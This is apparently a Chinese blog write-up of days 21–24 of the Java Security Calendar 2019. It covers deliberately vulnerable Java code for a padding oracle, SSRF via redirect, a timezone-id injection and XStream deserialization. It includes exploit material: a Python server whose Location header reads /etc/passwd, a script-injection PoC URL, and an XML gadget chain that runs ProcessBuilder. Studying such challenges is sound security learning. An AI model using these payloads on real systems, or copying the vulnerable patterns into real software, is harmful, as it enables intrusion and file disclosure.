java_security_calendar_2019(day21-day24)

Day21

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class Decrypter{

@RequestMapping("/decrypt")
public void decrypt(HttpServletResponse req, HttpServletResponse res) throws IOException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, NoSuchPaddingException, DecoderException, InvalidKeySpecException {

// Payload to decrypt: 699c99a4f27a4e4c310d75586abe8d32a8fc21a1f9e400f22b1fec7b415de5a4
byte[] cipher = Hex.decodeHex(req.getParameter("c"));
byte[] salt = new byte[]{(byte)0x12,(byte)0x34,(byte)0x56,(byte)0x78,(byte)0x9a,(byte)0xbc,(byte)0xde};
// Extract IV.
byte[] iv = new byte[16];
System.arraycopy(cipher, 0, iv, 0, iv.length);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);

byte[] encryptedBytes = new byte[cipher.length - 16];
System.arraycopy(cipher, 16, encryptedBytes, 0, cipher.length - 16);
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
// Of course the password is not known by the attacker - just for testing purposes
KeySpec spec = new PBEKeySpec("SuperSecurePassword".toCharArray(), salt, 65536, 128);
SecretKey key = factory.generateSecret(spec);
SecretKeySpec secretKeySpec = new SecretKeySpec(key.getEncoded(), "AES");
// Decrypt.
try {
Cipher cipherDecrypt = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] decrypted = cipherDecrypt.doFinal(encryptedBytes);
// Do something.
} catch (BadPaddingException e) {
res.getWriter().println("Invalid Padding!!");
}
}
}

对称加密CBC的Padding Oracle攻击,已知密文699c99a4f27a4e4c310d75586abe8d32a8fc21a1f9e400f22b1fec7b415de5a4,在不知道密钥的情况下,通过该漏洞获取明文。漏洞原理这里不具体表述,直接写个python脚本得到明文结果。

如下:

Day22

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class ReadExternalUrl extends HttpServlet {

private static URLConnection getUrl(String target) {
try{
// Don't allow redirects:
HttpURLConnection.setFollowRedirects(false);

URL url = new URL(target);
if(!url.getProtocol().startsWith("http"))
throw new Exception("Must start with http!.");

InetAddress inetAddress = InetAddress.getByName(url.getHost());
if (inetAddress.isAnyLocalAddress() || inetAddress.isLoopbackAddress() || inetAddress.isLinkLocalAddress())
throw new Exception("No local urls allowed!");

HttpURLConnection conn = (HttpURLConnection) url.openConnection();
return conn;
}
catch (Exception e) {
return null;
}
}

protected void doGet(HttpServletRequest request,HttpServletResponse response) {
try{
URLConnection conn = getUrl(request.getParameter("url"));
conn.connect();
String redirect = conn.getHeaderField("Location");
if(redirect != null) {
URL url = new URL(redirect);
if(redirect.indexOf("http://") == -1) {
throw new Exception("No http found!");
}
if(getUrl(redirect.substring(redirect.indexOf("http://"))) != null) {
conn = url.openConnection();
conn.connect();
}
}
// Output content of url
IOUtils.copy(conn.getInputStream(),response.getOutputStream());
}
catch (Exception e) {
System.exit(-1);
}
}
}

getUrl()方法主要对target值进行校验,是否以http开头,是否为有效的外部URL,并通过setFollowRedirects()方法设置为不可重定向。在第二部份中允许设置Location头进行重定向,且对传入的Location头只校验是否有http://。此时,发送恶意用户所控制的Location头,则可进行SSRF。同时由于对Location头的校验不严,又可能产生文读取漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import socket
from multiprocessing import Process


###########################客户端##########################
def sendMsg(clientSocket):

# 接收小于1024字节的数据
requestMsg = clientSocket.recv(1024)

responseLine = "HTTP/1.1 200 OK\r\n"
responseHeaders = "Location:file:///etc/passwd#http://www.baidu.com"
responseBody = "<p>Day22 Test</p>"
response = responseLine+responseHeaders+"\r\n\r\n"+responseBody

# 发送TCP数据
clientSocket.send(bytes(response,"utf-8"))
clientSocket.close()


############################服务端##########################
# 创建socket对象
serverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#绑定端口
host = socket.gethostname()
port = 80
serverSocket.bind(("",port))

# 设置最大连接数,超过后排队
serverSocket.listen(30)

while True:
# 建立客户端连接
clientSocket,clientAddr=serverSocket.accept()
print("连接地址:%s" % str(clientAddr))

handle_client_process = Process(target=sendMsg, args=(clientSocket,))
handle_client_process.start()
clientSocket.close()

注:这里虽然说说通过setFollowRedirects()方法设为禁止重定向,但这个配置好像没起到作用,不知道是不是我个人环境问题。

image-20200927024130128

Day23

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class ShowCalendar extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
response.setContentType("text/html");
GregorianCalendar calendar = new GregorianCalendar();
SimpleTimeZone x = new SimpleTimeZone(0, request.getParameter("id"));
SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy");
calendar.setTime(parser.parse(request.getParameter("current_time")));
calendar.setTimeZone(x);
Formatter formatter = new Formatter();
String name = StringEscapeUtils.escapeHtml4(request.getParameter("name"));
formatter.format("Name of your calendar: " + name + " and your current date is: %1$te.%1$tm.%1$tY", calendar);
PrintWriter pw = response.getWriter();
pw.print(formatter.toString());
} catch(ParseException e) {
response.sendRedirect("/");
}
}
}

StringEscapeUtils.escapeHtml4()方法只对name参数进行转义。calendar对象所包含的TimeZone为用户传入的id值,格式化输出时,调用内部的toString()方法,同时并示对其进行过滤转义,此时若id传入的值为恶意的代码,则会产生格式化字符串漏洞。
poc:

1
http://127.0.0.1:8888/day23/ShowCalendar?id=%3Cscript%3Ealert(1)%3C/script%3E&current_time=2001-07-04T12:08:56&name=%25shell

Day24

示例代码:

Invoker.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class Invoker implements Serializable {

private String c;
private String m;
private String[] a;

public Invoker(String c, String m, String[] a) {
this.c = c;
this.m = m;
this.a = a;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
ois.defaultReadObject();
Class clazz = Class.forName(this.c);
Object obj = clazz.getConstructor(String[].class).newInstance(new Object[]{this.a});
Method meth = clazz.getMethod(this.m);
meth.invoke(obj, null);
}
}

class User implements Serializable {
private String name;
private String email;
transient private String password;

public User(String name, String email, String password) {
this.name = name;
this.email = email;
this.password = password;
}

private void readObject(ObjectInputStream stream)
throws IOException, ClassNotFoundException {
stream.defaultReadObject();
password = (String) stream.readObject();
}

@Override
public String toString() {
return "User{" + "name='" + name + ", email='" + email + "'}";
}
}

day24.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RequestMapping(value = "/unserialize", consumes = "text/xml")
public void unserialize(@RequestBody String xml, HttpServletResponse res) throws IOException, ParserConfigurationException, SAXException, XPathExpressionException, TransformerException {
res.setContentType("text/plain");
// Parse xml string
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
Document xmlDocument = builder.parse(new InputSource(new StringReader(xml)));
XPath xPath = XPathFactory.newInstance().newXPath();
String expression = "//com.rips.demo.web.User[@serialization='custom'][1]";
//only allow User objects to be unserialized!!!
NodeList nodeList = (NodeList) xPath.compile(expression).evaluate(xmlDocument, XPathConstants.NODESET);
// Transform node back to xml string
Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
StringWriter writer = new StringWriter();
transformer.transform(new DOMSource(nodeList.item(0)), new StreamResult(writer));
String xmloutput = writer.getBuffer().toString();
// Unserialze User
User user = (User) new XStream().fromXML(xmloutput);
res.getWriter().print("Successfully unserialized "+user.toString());
}

用户传入的xml数据被DocumentBuilderFactory解析为一个实例,通过disallow-doctype-decl设置为true,故不存在xxe漏洞。接着通过xPath表达式过滤出属性serialization='custom'的第一个节点。随后转化为字符串后通过XStream进行反序列化。Invoker.java文件中,Invoker类和User类都实现了Serializable接口,都使用了readObject()方法。Invoker类的readObject方法允许我们通过使用字符串数组调用构造函数并调用该对象的用户控制方法(不带参数)来创建任意对象。同时利用User类的内部的Invoker子类,绕过xPath的检查。

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<it.lingwu.test.User serialization="custom">
<it.lingwu.test.User>
<default>
<email>lingwu@qq.com</email>
<name>lingwu</name>
</default>
<it.lingwu.test.Invoker serialization="custom">
<it.lingwu.test.Invoker>
<default>
<a>
<string>open</string>
<string>/System/Applications/Calculator.app</string>
</a>
<c>java.lang.ProcessBuilder</c>
<m>start</m>
</default>
</it.lingwu.test.Invoker>
</it.lingwu.test.Invoker>
</it.lingwu.test.User>
</it.lingwu.test.User>

可看到正常执行系统命令。

总结

没想到这24个漏洞拖了这么长时间,虽然各个漏洞利用链并不复杂,但涉及的种类还是蛮多,像我这种对代码基础较差的能学到很多东西。